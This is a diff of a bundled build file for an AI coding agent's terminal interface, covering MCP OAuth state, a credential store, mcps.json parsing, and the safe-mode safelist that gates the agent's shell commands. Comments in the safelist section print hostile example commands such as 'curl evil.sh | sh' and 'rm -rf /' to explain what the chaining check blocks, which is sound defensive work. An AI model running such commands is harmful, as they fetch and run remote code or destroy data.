+			if (head) head.cancel(reason);
+			return rest;
+		});
+	}, []);
+	const cancelAll = useCallback((reason) => {
+		setQueue((prev) => {
+			for (const entry of prev) entry.cancel(reason);
+			return [];
+		});
+	}, []);
+	const actionsRef = useRef(null);
+	if (!actionsRef.current) actionsRef.current = {
+		enqueue,
+		resolveHead,
+		cancelHead,
+		cancelAll
+	};
+	return /* @__PURE__ */ jsx(InteractionsActionsContext.Provider, {
+		value: actionsRef.current,
+		children: /* @__PURE__ */ jsx(InteractionsQueueContext.Provider, {
+			value: queue,
+			children
+		})
+	});
+}
+/** Read the live queue (re-renders on every push/pop). */
+function useInteractionsQueue() {
+	return useContext(InteractionsQueueContext);
+}
+/** Read the stable actions object. */
+function useInteractionsActions() {
+	const ctx = useContext(InteractionsActionsContext);
+	if (!ctx) throw new Error("useInteractionsActions must be used inside <InteractionsProvider>");
+	return ctx;
+}
+/**
+* Build the `requestInteraction` callback for `createInteractionTools` from
+* the React-side {@link InteractionsActions}. Each call adds a fresh entry
+* to the queue whose `resolve` / `cancel` route back to one Promise that
+* the tool's `execute` awaits.
+*/
+function makeRequestInteraction(actions) {
+	return (request) => new Promise((resolve, reject) => {
+		actions.enqueue({
+			request,
+			resolve,
+			cancel: (reason) => reject(new Error(reason ?? "Interaction cancelled"))
+		});
+	});
+}
+//#endregion
+//#region src/chat/mcp-auth-state.ts
+/**
+* Apply one event to the state map. Pure, immutable — returns a new map
+* with only the affected key reassigned.
+*
+* State transitions are simple "last write wins"; we don't gate (e.g.) a
+* `login:start` from overriding `authorizing` because the loop layer
+* never doubles those up — interactive login is serialized in the TUI.
+*/
+function reduceMcpAuth(state, event) {
+	const next = (status) => ({
+		...state,
+		[event.name]: status
+	});
+	switch (event.type) {
+		case "auth-required": return next({
+			kind: "needs-auth",
+			reason: event.reason
+		});
+		case "auth-url": return next({
+			kind: "authorizing",
+			url: event.url
+		});
+		case "auth-success": return next({ kind: "authed" });
+		case "auth-error": return next({
+			kind: "error",
+			error: event.error
+		});
+		case "connected":
+			if (state[event.name]?.kind === "authorizing" || state[event.name]?.kind === "needs-auth" || state[event.name]?.kind === "authed") return next({ kind: "authed" });
+			return state;
+		case "login:start": return next({ kind: "authorizing" });
+		case "login:cancel": return next({
+			kind: "needs-auth",
+			reason: "no-tokens"
+		});
+		case "logout":
+		case "reset": {
+			const { [event.name]: _, ...rest } = state;
+			return rest;
+		}
+	}
+}
+/** Convenience getter — treats `undefined` as `idle`. */
+function getMcpAuthStatus(state, name) {
+	return state[name] ?? { kind: "idle" };
+}
+//#endregion
+//#region src/chat/mcp-auth-context.tsx
+const StateContext = createContext({});
+const DispatchContext = createContext(null);
+/**
+* Mount once near the top of the React tree (above `ModalRoot`). Children
+* use `useMcpAuthState()` to read and `useMcpAuthDispatch()` to fire events.
+*/
+function McpAuthProvider({ children }) {
+	const [state, setState] = useState({});
+	const dispatch = useCallback((event) => {
+		setState((prev) => reduceMcpAuth(prev, event));
+	}, []);
+	return /* @__PURE__ */ jsx$1(StateContext.Provider, {
+		value: state,
+		children: /* @__PURE__ */ jsx$1(DispatchContext.Provider, {
+			value: dispatch,
+			children
+		})
+	});
+}
+function useMcpAuthState() {
+	return useContext(StateContext);
+}
+function useMcpAuthDispatch() {
+	const dispatch = useContext(DispatchContext);
+	if (!dispatch) throw new Error("useMcpAuthDispatch must be used inside <McpAuthProvider>");
+	return dispatch;
+}
+//#endregion
+//#region src/chat/mcp-credentials.ts
+const FILE_MODE = 384;
+function mcpCredentialsPath(dataDir) {
+	return resolve(dataDir, "mcp-credentials.json");
+}
+function readAll(dataDir) {
+	const path = mcpCredentialsPath(dataDir);
+	if (!existsSync(path)) return {};
+	try {
+		const raw = readFileSync(path, "utf-8");
+		const parsed = JSON.parse(raw);
+		if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return {};
+		return parsed;
+	} catch {
+		return {};
+	}
+}
+function writeAll(dataDir, all) {
+	const path = mcpCredentialsPath(dataDir);
+	mkdirSync(dirname(path), { recursive: true });
+	const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
+	writeFileSync(tmp, `${JSON.stringify(all, null, 2)}\n`, { mode: FILE_MODE });
+	renameSync(tmp, path);
+}
+/**
+* Build a file-backed `McpCredentialStore`. All per-server reads / writes
+* funnel through the single `mcp-credentials.json` file — this keeps
+* concurrent flows for different servers from clobbering each other since
+* each save reads-modifies-writes the full file atomically.
+*
+* Two flows for the same server name CAN race (last write wins). MCP OAuth
+* flows are user-driven and serial in practice (one login modal at a time),
+* so this is acceptable; a per-server file split + cross-process lock would
+* be required to handle a multi-process scenario.
+*/
+function createFileMcpCredentialStore(dataDir) {
+	return {
+		load(name) {
+			return readAll(dataDir)[name];
+		},
+		save(name, entry) {
+			const all = readAll(dataDir);
+			all[name] = entry;
+			writeAll(dataDir, all);
+		},
+		delete(name) {
+			const all = readAll(dataDir);
+			if (!(name in all)) return;
+			delete all[name];
+			writeAll(dataDir, all);
+		}
+	};
+}
+/**
+* Convenience patches for individual sub-fields. The provider class uses
+* these so a `saveTokens` call doesn't have to round-trip `clientInformation`
+* + `discoveryState` it never touched.
+*/
+function patchMcpCredential(store, name, patch) {
+	const existing = store.load(name) ?? {};
+	store.save(name, {
+		...existing,
+		...patch
+	});
+}
+//#endregion
 //#region src/chat/project-user-paths.ts
 /**
 * Shared search-path builder for project + user config discovery.
@@ -2548,58 +4321,173 @@ function defaultMcpsConfigPaths(opts = {}) {
 	});
 }
 /**
-* Parse one `mcps.json` file. Accepts:
-*   - A raw `McpServerConfig[]` array — host-SDK convention.
-*   - An object with `{ "mcpServers": { name: {...} } }` — Claude Desktop
-*     + many client wrappers. The `mcpServers` value is unwrapped before
-*     normalization (otherwise `normalizeMcpServers` would treat the whole
-*     wrapper as a single server).
-*   - A name-keyed map (`{ fs: {...}, github: {...} }`) — host-SDK
-*     convenience shape.
+* Parse one `mcps.json` file. Canonical zidane shape is a flat array; the
+* other shapes exist for copy-paste from neighboring tools:
+*
+*   - `McpServerConfig[]` — flat array (recommended).
+*   - `{ name: {...} }` — name-keyed map.
+*   - `{ "mcpServers": { name: {...} } }` — Claude Desktop / Claude Code /
+*     Cursor wrapper. Unwrapped before normalization (otherwise
+*     `normalizeMcpServers` would treat the whole wrapper as a single server).
+*
+* Per-entry `enabled: false` (Cursor runtime state) drops the entry — same
+* intent as the source tool. Use the TUI toggle list for "show but disabled".
+*
+* Tolerant to common copy-paste artifacts: when strict `JSON.parse` fails,
+* retries after normalizing invisible whitespace that's valid Unicode but
+* not valid JSON whitespace (BOM, NBSP, zero-width spaces, line/paragraph
+* separators) — only OUTSIDE string literals, so user data isn't mutated.
+* If the sanitized version still fails, throws the original error with a
+* targeted hint when NBSPs are present.
 *
 * Validation flows through `normalizeMcpServers` so the result matches
-* what `createAgent` accepts. Throws on malformed JSON; the caller decides
-* whether to surface or swallow.
+* what `createAgent` accepts. Throws on truly malformed JSON; the caller
+* decides whether to surface or swallow.
 */
 function parseMcpsFile(text) {
-	const raw = JSON.parse(text);
-	return normalizeMcpServers(raw && typeof raw === "object" && !Array.isArray(raw) && "mcpServers" in raw ? raw.mcpServers : raw);
+	let raw;
+	try {
+		raw = JSON.parse(text);
+	} catch (firstErr) {
+		const sanitized = sanitizeJsonWhitespace(text);
+		if (!sanitized.changed) throw firstErr;
+		try {
+			raw = JSON.parse(sanitized.text);
+		} catch {
+			throw enhanceJsonError(firstErr, text);
+		}
+	}
+	return normalizeMcpServers(dropDisabledEntries(raw && typeof raw === "object" && !Array.isArray(raw) && "mcpServers" in raw ? raw.mcpServers : raw));
+}
+/**
+* Code points that are valid Unicode whitespace but NOT valid JSON whitespace.
+* Copy-paste from rich-text contexts (markdown editors, chat UIs, web pages)
+* frequently slips these in:
+*
+*   - `\uFEFF` BOM — sometimes prepended by Windows editors.
+*   - `\u00A0` NBSP — markdown/HTML smart-replace common culprit.
+*   - `\u200B`-`\u200D` zero-width family — often invisible in editors.
+*   - `\u2028` / `\u2029` line/paragraph separators — valid in JS strings
+*     pre-ES2019 but never in strict JSON.
+*   - `\u2060` word joiner.
+*
+* Replace with ASCII space (zero-width chars are removed; the others become
+* a single space). Replacements happen ONLY outside string literals so a
+* user's intentional NBSP inside a `url` or display name is left alone.
+*/
+const PROBLEMATIC_WHITESPACE = new Set([
+	65279,
+	160,
+	8203,
+	8204,
+	8205,
+	8232,
+	8233,
+	8288
+]);
+function sanitizeJsonWhitespace(text) {
+	let changed = false;
+	let inString = false;
+	let escaped = false;
+	const out = [];
+	for (let i = 0; i < text.length; i++) {
+		const ch = text[i];
+		if (inString) {
+			out.push(ch);
+			if (escaped) escaped = false;
+			else if (ch === "\\") escaped = true;
+			else if (ch === "\"") inString = false;
+			continue;
+		}
+		if (ch === "\"") {
+			inString = true;
+			out.push(ch);
+			continue;
+		}
+		const code = ch.charCodeAt(0);
+		if (PROBLEMATIC_WHITESPACE.has(code)) {
+			changed = true;
+			if (code === 160 || code === 8232 || code === 8233) out.push(" ");
+			continue;
+		}
+		out.push(ch);
+	}
+	return {
+		text: out.join(""),
+		changed
+	};
+}
+function enhanceJsonError(err, text) {
+	const orig = err instanceof Error ? err : new Error(String(err));
+	const hints = [];
+	if (text.includes("\xA0")) hints.push("the file contains non-breaking spaces (U+00A0), likely a copy-paste artifact — replace them with regular spaces");
+	if (text.charCodeAt(0) === 65279) hints.push("the file starts with a BOM (U+FEFF), which strict JSON.parse rejects");
+	if (hints.length === 0) return orig;
+	return /* @__PURE__ */ new Error(`${orig.message} — ${hints.join("; ")}`);
+}
+/**
+* Strip `enabled: false` entries before normalization — same intent as the
+* source tool that wrote them (Cursor flips this when the user toggles a
+* server off in its UI). One pass over array OR map shape, O(N).
+*
+* Done pre-normalize so we don't have to teach `normalizeMcpServers` about
+* the flag — the canonical `McpServerConfig` has no `enabled` field.
+*/
+function dropDisabledEntries(target) {
+	if (Array.isArray(target)) return target.filter((e) => !isEntryDisabled(e));
+	if (target && typeof target === "object") {
+		const filtered = {};
+		for (const [name, entry] of Object.entries(target)) if (!isEntryDisabled(entry)) filtered[name] = entry;
+		return filtered;
+	}
+	return target;
+}
+function isEntryDisabled(entry) {
+	return !!entry && typeof entry === "object" && entry.enabled === false;
 }
 /**
 * Walk the default config paths, parse every file that exists, and return
-* `DiscoveredMcp[]` in source-priority order. Project entries appear
+* `{ servers, errors }` in source-priority order. Project entries appear
 * before user entries; first occurrence of a `name` wins (later
 * duplicates dropped).
 *
-* Parse errors are logged under `ZIDANE_DEBUG` and the file skipped so a
-* single malformed `mcps.json` can't take down the picker.
+* Parse failures are captured into `errors` rather than thrown — the picker
+* surfaces them while still showing whatever DID parse. A `ZIDANE_DEBUG`
+* log line is also emitted for ops visibility.
 */
 function discoverProjectMcps(opts = {}) {
 	const paths = defaultMcpsConfigPaths(opts).filter((p) => existsSync(p.path));
 	const seen = /* @__PURE__ */ new Set();
-	const out = [];
+	const servers = [];
+	const errors = [];
 	for (const { path, source } of paths) {
 		let configs;
 		try {
 			configs = parseMcpsFile(readFileSync(path, "utf8"));
 		} catch (err) {
-			if (process.env.ZIDANE_DEBUG) {
-				const cause = err instanceof Error ? err.message : String(err);
-				process.stderr.write(`[zidane/chat] failed to parse "${path}": ${cause}\n`);
-			}
+			const message = err instanceof Error ? err.message : String(err);
+			errors.push({
+				path,
+				source,
+				message
+			});
+			if (process.env.ZIDANE_DEBUG) process.stderr.write(`[zidane/chat] failed to parse "${path}": ${message}\n`);
 			continue;
 		}
 		for (const config of configs) {
 			if (seen.has(config.name)) continue;
 			seen.add(config.name);
-			out.push({
+			servers.push({
 				config,
 				source,
 				path
 			});
 		}
 	}
-	return out;
+	return {
+		servers,
+		errors
+	};
 }
 /**
 * Map a user-toggled enable list onto the `mcpServers` array the agent
@@ -2720,37 +4608,6 @@ async function runOAuthLogin(descriptor, options) {
 	};
 	return descriptor.oauthProvider.login(callbacks);
 }
-/**
-* Best-effort cross-platform browser open. macOS uses `open`, Linux uses
-* `xdg-open`, Windows uses `start`. Failures are swallowed — the callback
-* server is already listening, and the URL is displayed in the TUI for
-* manual click.
-*
-* Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
-* than interpolated into a shell command — no need to think about quoting
-* URLs that contain `&`, `?`, `"` or other shell metacharacters.
-*/
-function tryOpenBrowser(url) {
-	const [cmd, ...args] = (() => {
-		if (process.platform === "darwin") return ["open", url];
-		if (process.platform === "win32") return [
-			"cmd",
-			"/c",
-			"start",
-			"",
-			url
-		];
-		return ["xdg-open", url];
-	})();
-	try {
-		const child = spawn(cmd, args, {
-			stdio: "ignore",
-			detached: true
-		});
-		child.on("error", () => {});
-		child.unref();
-	} catch {}
-}
 //#endregion
 //#region src/chat/prompt-segments.ts
 /**
@@ -2875,15 +4732,25 @@ function getSafelist(dataDir, projectDir) {
 	return readProjects(dataDir)[projectDir]?.safelist ?? [];
 }
 /**
-* Tools that always pass without prompting — pure file/dir reads with no
-* side effects. Users who want to gate them must disable safe-mode entirely
+* Tools that always pass without prompting. Two categories:
+*
+*   - **Pure reads** (`read_file`, `list_files`, `glob`, `grep`) — no
+*     side effects on disk or the model's own state.
+*   - **Interaction tools** (`ask_user`, `present_plan`) — the call
+*     itself surfaces a TUI picker the user has to answer, so prompting
+*     for approval first would mean "approve this prompt before you see
+*     the prompt": redundant + breaks the flow. The picker IS the gate.
+*
+* Users who want to gate any of these must disable safe-mode entirely
 * (or fork this list in their own embedding).
 */
 const IMPLICITLY_SAFE_TOOLS = [
 	"read_file",
 	"list_files",
 	"glob",
-	"grep"
+	"grep",
+	"ask_user",
+	"present_plan"
 ];
 /** Common input keys carrying the "primary argument" we scope safelists on. */
 const PRIMARY_ARG_KEYS = [
@@ -2899,43 +4766,74 @@ function primaryArgValue(input) {
 	}
 	return "";
 }
-/** Extract the first whitespace-delimited token of the primary arg. */
+/**
+* Extract the first whitespace-delimited token of the primary arg.
+* Leading whitespace is trimmed first so `"  git status"` tokenizes to
+* `"git"`, not `""` (an empty first element from `.split(/\s+/)`).
+*/
 function primaryArgToken(input) {
-	return primaryArgValue(input).split(/\s+/)[0] ?? "";
+	return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
 }
 /**
-* Shell metacharacters that turn a single command into a compound: pipes,
-* sequencing, redirects, substitutions, line breaks, subshells. A `shell:git:*`
-* entry is meant to greenlight "any git invocation" — without this guard,
-* `git status && rm -rf /` would tokenize to `git` and pass the safelist
-* unchallenged. Reject any command that's not a single program call.
+* Shell features that introduce a SECOND, UNRELATED command into the
+* pipeline — and would silently bypass a `shell:<head>:*` safelist that
+* the user only meant to cover the head program. We block these
+* specifically:
+*
+*   - `;`         — sequence operator (`git status; rm -rf /`)
+*   - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
+*   - `\n` / `\r` — multi-line scripts, equivalent to `;`
+*   - `` ` ``     — backtick command substitution (`echo \`rm -rf /\``)
+*   - `$(…)`      — modern command substitution (`echo $(rm -rf /)`)
 *
-* The regex is intentionally generous: false positives (e.g. `echo "hi & bye"`)
-* just prompt the user again, which is the safe failure mode.
+* We deliberately do NOT block:
+*
+*   - `|`         — pipes; required for the bread-and-butter CLI pattern
+*                   `sentry issue list … | jq -r '.[]'`.
+*   - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
+*                   `cmd 2>&1 | jq` are normal CLI usage.
+*   - `&` (alone) — backgrounding; runs the same command in the background
+*                   rather than chaining a new one.
+*   - `(…)`       — subshells; rare in practice, and the chaining
+*                   detectors above already catch the dangerous content
+*                   that would typically live inside them.
+*
+* Trade-off: a model that controls the output of the safelisted head
+* command could in principle pipe garbage into a destructive tool
+* (`sentry list | sh`). The original implementation blocked all
+* metacharacters to avoid that risk, but it made `shell:<head>:*`
+* unusable for real CLI workflows — users hit the prompt on every
+* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
+* trusts the user's explicit "I want everything starting with <head>"
+* decision; the chaining rejections above keep the obvious escape
+* hatches closed.
+*
+* The regex is intentionally generous: false positives (e.g. a literal
+* `&&` inside a quoted argument) just prompt the user again, which is
+* the safe failure mode.
 */
-const SHELL_COMPOUND_RE = /[;&|<>`$\n\r()]/;
-function isCompoundShellCommand(command) {
-	return SHELL_COMPOUND_RE.test(command);
+const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
+function hasShellChaining(command) {
+	return SHELL_CHAINING_RE.test(command);
 }
 /**
 * Test whether a `{ tool, input }` pair is covered by one safelist entry.
 *
 * Supported entry shapes:
-*   - `"<tool>"` — broad match on tool name. For `shell` this still requires
-*     a single-program command (compound forms always prompt).
-*   - `"<tool>:<token>:*"` — match when the primary arg's first token equals
-*     `<token>`. For `shell`, also requires the command to be free of
-*     metacharacters (`;`, `&&`, `||`, `|`, `$(`, backticks, `>`, `<`,
-*     newlines, subshells) — otherwise a `shell:git:*` entry would silently
-*     greenlight `git status && rm -rf /`.
-*
-* Entries that don't fit either shape are ignored (forward-compat for future
-* pattern syntax — readers shouldn't choke on entries written by a newer
-* version of the TUI).
+*   - `"<tool>"` — broad match on tool name. For `shell`, the command
+*     must not chain through another program (see {@link SHELL_CHAINING_RE}).
+*   - `"<tool>:<token>:*"` — match when the primary arg's first token
+*     equals `<token>`. For `shell`, same chaining gate as above. Pipes
+*     and redirects are allowed so `shell:sentry:*` covers the typical
+*     `sentry … | jq …` workflow.
+*
+* Entries that don't fit either shape are ignored (forward-compat for
+* future pattern syntax — readers shouldn't choke on entries written
+* by a newer version of the TUI).
 */
 function matchesSafelistEntry(entry, tool, input) {
 	if (tool === "shell") {
-		if (isCompoundShellCommand(typeof input.command === "string" ? input.command : "")) return false;
+		if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
 	}
 	if (entry === tool) return true;
 	const sep = entry.indexOf(":");
@@ -3195,6 +5093,14 @@ function renderBlock(block) {
 			renderToolOutput(block.output)
 		].join("\n");
 		case "image": return `_[image · ${block.mediaType}]_`;
+		case "compact-summary": {
+			const count = block.replacesTurnIds.length;
+			return [
+				`**Compaction summary** · ${count} turn${count === 1 ? "" : "s"} compacted · model \`${block.model}\``,
+				"",
+				block.summary.trim()
+			].join("\n");
+		}
 		default: return "";
 	}
 }
@@ -3651,6 +5557,7 @@ function turnAsText(turn) {
 	else if (block.type === "thinking" && block.text.trim()) parts.push(`[thinking]\n${block.text}`);
 	else if (block.type === "tool_call") parts.push(`[tool call · ${block.name}]\n${stringifyArgs(block.input)}`);
 	else if (block.type === "tool_result") parts.push(`[tool result]\n${typeof block.output === "string" ? block.output : JSON.stringify(block.output, null, 2)}`);
+	else if (block.type === "compact-summary") parts.push(`[compaction summary · ${block.replacesTurnIds.length} turn${block.replacesTurnIds.length === 1 ? "" : "s"}]\n${block.summary}`);
 	return parts.join("\n\n");
 }
 function stringifyArgs(input) {
@@ -3674,6 +5581,6 @@ function countNeighbors(turnIds, turnId) {
 	};
 }
 //#endregion
-export { SETTINGS_TOGGLES as $, modelsForDescriptor as $t, readProjects as A, FILES_TRIGGER as At, defaultMcpsConfigPaths as B, credentialsPath as Bt, useSafeModeQueue as C, titleFromTurns as Ct, isOnSafelist as D, SKILLS_TRIGGER as Dt, getSafelist as E, findGitRoot$1 as Et, supportsOAuth as F, findActiveTrigger as Ft, ageString as G, writeCredentials as Gt, parseMcpsFile as H, readProviderCredential as Ht, buildModelCatalog as I, mergeReferences as It, shortId as J, cerebrasDescriptor as Jt, compactPath as K, BUILTIN_PROVIDERS as Kt, filterModelCatalog as L, useCompletion as Lt, writeProjects as M, uniqueFilesFromReferences as Mt, splitPromptSegments as N, applyInsert as Nt, matchesSafelistEntry as O, createSkillsCompletionProvider as Ot, runOAuthLogin as P, collectReferences as Pt, SETTINGS_CHOICES as Q, modelSupportsReasoning as Qt, indexOfEntry as R, detectAuth as Rt, useSafeModeActions as S, stripSpawnTokensLine as St, addToSafelist as T, toolResultText as Tt, cleanTitle as U, removeProviderCredential as Ut, discoverProjectMcps as V, readCredentials as Vt, generateSessionTitle as W, setProviderCredential as Wt, useEnabledToggleSet as X, getContextWindow as Xt, listProjectFiles as Y, credKeyOf as Yt, DEFAULT_SETTINGS as Z, getModelInfo as Zt, discoverProjectSkills as _, lastContextSizeFromTurns as _t, ThemeProvider as a, DEFAULT_AGENT_ID as an, resolveTheme as at, writeSessionExport as b, saveState as bt, useSurfaces as c, singleAgentRegistry as cn, CATPPUCCIN_LATTE as ct, finalizeStreamingMarkdown as d, ConfigProvider as dt, openaiDescriptor as en, SettingsProvider as et, finalizeStreamingMarkdownForOwner as f, useConfig as ft, defaultSkillScanPaths as g, eventsFromTurns as gt, buildSkillsConfig as h, deriveSessionTitle as ht, turnAsText as i, BUILTIN_AGENTS as in, resolveChipColor as it, suggestSafelistEntry as j, createFilesCompletionProvider as jt, projectsFilePath as k, uniqueSkillNamesFromReferences as kt, useSyntaxStyles as l, CATPPUCCIN_MACCHIATO as lt, useStreamBuffer as m, createStateStore as mt, deleteTurnSafely as n, piIdOf as nn, BUILTIN_THEMES as nt, useColors as o, PLAN_AGENT as on, VAPORWAVE_THEME as ot, turnContextSize as p, resolveConfig as pt, fmtTokens as q, anthropicDescriptor as qt, truncateTurnsAt as r, BUILD_AGENT as rn, DEFAULT_THEME as rt, useSelectStyle as s, resolveAgentId as sn, CATPPUCCIN_FRAPPE as st, countNeighbors as t, openrouterDescriptor as tn, useSettings as tt, useTheme as u, CATPPUCCIN_MOCHA as ut, renderSession as v, listSessionMeta as vt, IMPLICITLY_SAFE_TOOLS as w, toolCallPreview as wt, SafeModeProvider as x, selectableTurnIds as xt, resolveSessionExportTarget as y, loadState as yt, buildMcpServers as z, applyApiKeyEnv as zt };
+export { InteractionsProvider as $, DOING_TASKS_DOCTRINE as $n, findGitRoot$1 as $t, readProjects as A, writeCredentials as An, CATPPUCCIN_MOCHA as At, defaultMcpsConfigPaths as B, modelsForDescriptor as Bn, saveState as Bt, useSafeModeQueue as C, detectAuth as Cn, DEFAULT_THEME as Ct, isOnSafelist as D, readProviderCredential as Dn, CATPPUCCIN_FRAPPE as Dt, getSafelist as E, readCredentials as En, VAPORWAVE_THEME as Et, supportsOAuth as F, credKeyOf as Fn, deriveSessionTitle as Ft, mcpCredentialsPath as G, BUILTIN_AGENTS as Gn, toolResultText as Gt, parseMcpsFile as H, openrouterDescriptor as Hn, stripSpawnTokensLine as Ht, buildModelCatalog as I, effectiveContextWindow as In, eventsFromTurns as It, useMcpAuthDispatch as J, PLAN_AGENT as Jn, computeLineDiff as Jt, patchMcpCredential as K, DEFAULT_AGENT_ID as Kn, buildUnifiedDiff as Kt, filterModelCatalog as L, getContextWindow as Ln, lastContextSizeFromTurns as Lt, writeProjects as M, OUTPUT_RESERVE_TOKENS as Mn, useConfig as Mt, splitPromptSegments as N, anthropicDescriptor as Nn, resolveConfig as Nt, matchesSafelistEntry as O, removeProviderCredential as On, CATPPUCCIN_LATTE as Ot, runOAuthLogin as P, cerebrasDescriptor as Pn, createStateStore as Pt, ASK_USER_TOOL as Q, COMMUNICATION_DOCTRINE as Qn, tokenize as Qt, indexOfEntry as R, getModelInfo as Rn, listSessionMeta as Rt, useSafeModeActions as S, shouldAutoCompact as Sn, BUILTIN_THEMES as St, addToSafelist as T, credentialsPath as Tn, resolveTheme as Tt, projectUserPaths as U, piIdOf as Un, titleFromTurns as Ut, discoverProjectMcps as V, openaiDescriptor as Vn, selectableTurnIds as Vt, createFileMcpCredentialStore as W, BUILD_AGENT as Wn, toolCallPreview as Wt, getMcpAuthStatus as X, singleAgentRegistry as Xn, filetypeFromPath as Xt, useMcpAuthState as Y, resolveAgentId as Yn, extractEditPayload as Yt, reduceMcpAuth as Z, ACTIONS_WITH_CARE_DOCTRINE as Zn, splitLines as Zt, discoverProjectSkills as _, collectReferences as _n, DEFAULT_SETTINGS as _t, ThemeProvider as a, matchesBinding as an, buildBuildSystem as ar, pendingInteractionsFromTurns as at, writeSessionExport as b, useCompletion as bn, SettingsProvider as bt, useSurfaces as c, readKeybindings as cn, useInteractionsQueue as ct, finalizeStreamingMarkdown as d, createSkillsCompletionProvider as dn, ageString as dt, DEFAULT_KEYBINDINGS as en, IDENTITY_PREFIX as er, PRESENT_PLAN_TOOL as et, finalizeStreamingMarkdownForOwner as f, uniqueSkillNamesFromReferences as fn, compactPath as ft, defaultSkillScanPaths as g, applyInsert as gn, useEnabledToggleSet as gt, buildSkillsConfig as h, uniqueFilesFromReferences as hn, listProjectFiles as ht, turnAsText as i, keybindingsPath as in, TOKEN_DISCIPLINE_DOCTRINE as ir, makeRequestInteraction as it, suggestSafelistEntry as j, BUILTIN_PROVIDERS as jn, ConfigProvider as jt, projectsFilePath as k, setProviderCredential as kn, CATPPUCCIN_MACCHIATO as kt, useSyntaxStyles as l, stripJsonComments as ln, cleanTitle as lt, useStreamBuffer as m, createFilesCompletionProvider as mn, shortId as mt, deleteTurnSafely as n, KEYBINDING_DEF_BY_ACTION as nn, PLAN_MODE_DOCTRINE as nr, createInteractionTools as nt, useColors as o, mergeKeybindings as on, buildPlanSystem as or, serializeInteractionResponse as ot, turnContextSize as p, FILES_TRIGGER as pn, fmtTokens as pt, McpAuthProvider as q, DEFAULT_PERSIST_EXCLUDE_TOOLS as qn, computeInlineDiff as qt, truncateTurnsAt as r, ensureKeybindingsFile as rn, SUBAGENT_GUIDANCE as rr, isInteractionTool as rt, useSelectStyle as s, parseBindingSpec as sn, envSection as sr, useInteractionsActions as st, countNeighbors as t, KEYBINDING_DEFS as tn, INTERACTION_GUIDANCE as tr, buildResumedToolResultsTurn as tt, useTheme as u, SKILLS_TRIGGER as un, generateSessionTitle as ut, renderSession as v, findActiveTrigger as vn, SETTINGS_CHOICES as vt, IMPLICITLY_SAFE_TOOLS as w, applyApiKeyEnv as wn, resolveChipColor as wt, SafeModeProvider as x, tryOpenBrowser as xn, useSettings as xt, resolveSessionExportTarget as y, mergeReferences as yn, SETTINGS_TOGGLES as yt, buildMcpServers as z, modelSupportsReasoning as zn, loadState as zt };
 
-//# sourceMappingURL=turn-operations-DZ3TrljX.js.map
+//# sourceMappingURL=turn-operations-BzOIM6Of.js.map